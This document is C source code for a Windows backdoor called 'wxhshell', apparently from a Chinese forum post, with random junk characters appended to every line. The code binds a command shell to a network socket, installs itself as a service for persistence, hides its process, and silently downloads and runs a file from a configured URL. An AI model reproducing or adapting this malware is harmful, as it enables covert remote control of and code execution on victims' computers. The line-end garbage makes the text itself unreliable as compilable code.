  ~$^XP.a.  
  // 帮助 }Sv:`9=  
  case '?': { a`>B Ly5o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TvbE2Q;/UL  
    break; /J;Kn]5e  
  } GD$l| |8  
  // 安装 )y$(AJx$  
  case 'i': { #"~<HG}bR/  
    if(Install()) y<Ot)fa$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F]&*o w  
    else +mn[5Y}:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q/,O\,  
    break; Q;rX;p^W  
    } "chDg(jMZ  
  // 卸载 e9 B064  
  case 'r': { iYy1!\  
    if(Uninstall()) S,he6zS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t{{QE:/  
    else b \2 ds,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %'pgGC"|  
    break; I!K6o.|1  
    } 3!]rmZ-W  
  // 显示 wxhshell 所在路径 xA*<0O\V  
  case 'p': { > ~O.@|  
    char svExeFile[MAX_PATH]; tWc Hb #  
    strcpy(svExeFile,"\n\r"); Q~Wqy~tS  
      strcat(svExeFile,ExeFile); s$j,9uRr  
        send(wsh,svExeFile,strlen(svExeFile),0); InI$:kJ  
    break; ww1[rCh\+  
    } :V||c5B+  
  // 重启 d2$IH#~9B  
  case 'b': { OneY_<*a<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D0f]$  
    if(Boot(REBOOT)) J|73.&B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `ERz\`d~Y;  
    else { M_DwUS 1?  
    closesocket(wsh); +N U G  
    ExitThread(0); X &H"51  
    } 5{,<j\#L  
    break; 9pfIzs su3  
    } ECmW`#Otb)  
  // 关机 Z% UP6%  
  case 'd': { ,ig/s2ZG6X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8}:nGK|kx  
    if(Boot(SHUTDOWN)) FS.L\MjV]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5b7RY V  
    else { ]`WJOx4  
    closesocket(wsh); 1'8YkhQ2a  
    ExitThread(0); Nh +H9  
    } pA4xbr2  
    break; %WS+(0*1  
    } JBZ@'8eqi]  
  // 获取shell [:*)XeRK  
  case 's': { _+MJ%'>S  
    CmdShell(wsh); GM<9p_ B  
    closesocket(wsh); mt.))#1  
    ExitThread(0); Y'X%Aw;`  
    break; HGg@ _9tW  
  } )4;`^]F  
  // 退出 0"z9Q\{}  
  case 'x': { ,V}WM%Km  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qH_Dc=~la  
    CloseIt(wsh); 1$ {SRU7l  
    break; u*9V&>o  
    } BZ^}J!Q'*  
  // 离开 oXgcc*j  
  case 'q': { )+Pus~w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BMf@M  
    closesocket(wsh); N'=gep0V@  
    WSACleanup(); fc>L K7M  
    exit(1); M',?u  
    break; klhtKp_p  
        } F:DrX_O%  
  } _)-o1`*-  
  } \fe]c :  
q5S9C%b  
  // 提示信息 dAj$1Ke  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]]yO1x$Kk  
} I%Z  
  } 3Zh)]^  
lu/ (4ED  
  return; sDV Q#}a  
} OZ;*JR:  
=2x^nW  
// shell模块句柄 w4Z'K&d=  
int CmdShell(SOCKET sock) 7K:PdF>/  
{ \73ch  
STARTUPINFO si; 32 =z)]FZ  
ZeroMemory(&si,sizeof(si)); u]@['7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wz8yD8M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^<AwG=  
PROCESS_INFORMATION ProcessInfo; +"VP-s0  
char cmdline[]="cmd"; / XIhj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6W Ur QFK  
  return 0; xkA K!uVy  
} @KAI4LP  
#.[k=dj   
// 自身启动模式 3;Fhg!Z O  
int StartFromService(void) :BT q!>s  
{ syK^<xa  
typedef struct TS5Q1+hWHV  
{ @lph)A Nk  
  DWORD ExitStatus; k VQ\1!  
  DWORD PebBaseAddress; rrv%~giU  
  DWORD AffinityMask; vfo~27T{(  
  DWORD BasePriority; rVsJ`+L  
  ULONG UniqueProcessId; Af{"pzY  
  ULONG InheritedFromUniqueProcessId; Y6d@h? ht  
}   PROCESS_BASIC_INFORMATION; vr^qWn  
0ZO2#>gh$  
PROCNTQSIP NtQueryInformationProcess; @=kSo -SX  
as=LIw}Q4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `P ,d$H "  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PFK  '$  
n(]-y@X0_  
  HANDLE             hProcess; ;*&-C9b  
  PROCESS_BASIC_INFORMATION pbi; Yz<1 wt7;  
@s^-.z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #3d(M  
  if(NULL == hInst ) return 0; 7VI*N)OZ8  
@\I#^X5lv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rws3V"{`[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -Y;3I00(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )sp+8  
G*v,GR  
  if (!NtQueryInformationProcess) return 0; ?0xgRe<  
&jr3B;g!C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KY] C6kh  
  if(!hProcess) return 0; N,U8YO  
;jTN | i'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7"xd1l?zz  
6S\8$  
  CloseHandle(hProcess); \D&KC,i5f  
7v_8_K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BFW&2  
if(hProcess==NULL) return 0; +d-NL?c  
yR.Ong  
HMODULE hMod; 76` .Y  
char procName[255]; L4?IHNB  
unsigned long cbNeeded; 5rUdv}.  
.3!1`L3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @ur+;IK$  
dnuu&Rv  
  CloseHandle(hProcess); P L+sR3bR  
lB[kbJ  
if(strstr(procName,"services")) return 1; // 以服务启动 Nl1D o:PY  
kz7(Z'pw  
  return 0; // 注册表启动 G9vpt M  
} K'I#W lg  
G<;*SYAb  
// 主模块 SOvF[,+  
int StartWxhshell(LPSTR lpCmdLine) T37XBg H  
{ CQDkFQq-dq  
  SOCKET wsl; -1ub^feJ,  
BOOL val=TRUE; n>U5R_T  
  int port=0; 2jCfT>`3  
  struct sockaddr_in door; KdbHyg<4  
H~z`]5CN  
  if(wscfg.ws_autoins) Install(); PRE|+=w$  
r0 uwPf  
port=atoi(lpCmdLine); ('p5:d  
P J[`|  
if(port<=0) port=wscfg.ws_port; R0  
K@w{"7}  
  WSADATA data; ^&Y#)II  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >t_6B~x9  
5rZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ! #2{hQRu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 07=mj%yV  
  door.sin_family = AF_INET; c<$OA=n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r1RM  
  door.sin_port = htons(port); [0D .K}7|  
CF5`-wj/#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @cB$iP=Z4  
closesocket(wsl); n#_$\ p>Yd  
return 1; nwCrZW  
} ZLAy- 9^Y  
R@k&SlL'`  
  if(listen(wsl,2) == INVALID_SOCKET) { "kgdbAZ  
closesocket(wsl); 3I-MdApT  
return 1; fPW@{~t  
} "OnGE$   
  Wxhshell(wsl); -_eLf#3  
  WSACleanup(); $5Ff1{  
))'<_nD  
return 0; p0<\G  
<B8!.|19  
} 0b(N^$js'  
K:30_l<  
// 以NT服务方式启动 !f&g-V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @/-\k*T  
{ G {%LB}2  
DWORD   status = 0; fNZ__gO!%  
  DWORD   specificError = 0xfffffff; t |A-9^t'!  
(0y~%J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WlBc.kFck  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R`^_(yn>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,',o'2=!  
  serviceStatus.dwWin32ExitCode     = 0; = 6\^%  
  serviceStatus.dwServiceSpecificExitCode = 0; )~ h}  
  serviceStatus.dwCheckPoint       = 0; o`N  9!M  
  serviceStatus.dwWaitHint       = 0; I83<r9  
6ar   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BbS4m  
  if (hServiceStatusHandle==0) return; x0w4)Ic5  
$,Yd>%Y  
status = GetLastError(); !^Y(^RS@  
  if (status!=NO_ERROR) Sa;qW3dt3E  
{ l}sjD[2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >_ 2dvg=U  
    serviceStatus.dwCheckPoint       = 0; ]^K 4i)\  
    serviceStatus.dwWaitHint       = 0; >%8KK|V{  
    serviceStatus.dwWin32ExitCode     = status; )+t0:GwP`:  
    serviceStatus.dwServiceSpecificExitCode = specificError; =xx]@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m#Z# .j_2  
    return; Is?La  
  } 9ahWIO %  
^V Zk+'4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qE3UO<FA  
  serviceStatus.dwCheckPoint       = 0; oJ|j#+Ft  
  serviceStatus.dwWaitHint       = 0; SPmq4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !6Mo]xh  
} O2dW6bt  
|02gupqqi  
// 处理NT服务事件,比如:启动、停止 k%QpegN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7!TueP0Zd  
{ VrQmP  
switch(fdwControl) 'K{Z{[s{  
{ :I^;jdL  
case SERVICE_CONTROL_STOP: x-.?HS[  
  serviceStatus.dwWin32ExitCode = 0; ILShd)]Rw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eu|;eP-+d  
  serviceStatus.dwCheckPoint   = 0; 6wECo  
  serviceStatus.dwWaitHint     = 0; !.(P~j][  
  { T&o(N3lW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8::$AQL3  
  } ?[Q3q4  
  return; yx&51G$  
case SERVICE_CONTROL_PAUSE: ;8{4!S&b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C-6F]2:  
  break; 1rF]yi:X  
case SERVICE_CONTROL_CONTINUE: !*bMa8]*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TXvI4"&  
  break; K\6u9BYG  
case SERVICE_CONTROL_INTERROGATE: !sW(wAy?o  
  break; s %\-E9 T  
}; v"XGCi91L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A='N=^Pm  
} y^v6AM  
0rG^,(3m  
// 标准应用程序主函数 `gf0l /d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D}8[bWF  
{ 8MzVOF{"  
)@Yf]qx+Y<  
// 获取操作系统版本 mtmjZP(w   
OsIsNt=GetOsVer(); Y^}Z>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3L}!RB  
`q*M4,  
  // 从命令行安装 k=JrLfD4  
  if(strpbrk(lpCmdLine,"iI")) Install(); T1Z;r*}  
={d>iB yq  
  // 下载执行文件 yS(fILV  
if(wscfg.ws_downexe) { 8sM|%<$=j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EL 8<U  
  WinExec(wscfg.ws_filenam,SW_HIDE); l@+7:n4K0  
} JJ2_hVU  
:hFIl0$,"3  
if(!OsIsNt) { jun_QiU:2  
// 如果时win9x,隐藏进程并且设置为注册表启动 _Wq  
HideProc(); cacr=iX  
StartWxhshell(lpCmdLine); %'7lbpy,f  
} WRy aKM  
else yiC^aY=-  
  if(StartFromService()) +&( Mgbna  
  // 以服务方式启动 qr4pR-Gdr  
  StartServiceCtrlDispatcher(DispatchTable); yvH A7eq*"  
else lc,tVe_  
  // 普通方式启动 ,\  
  StartWxhshell(lpCmdLine); h!.^?NF  
p#?7 w  
return 0; ?Unb? {,&2  
}
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只看该作者 1 发表于: 2006-10-10
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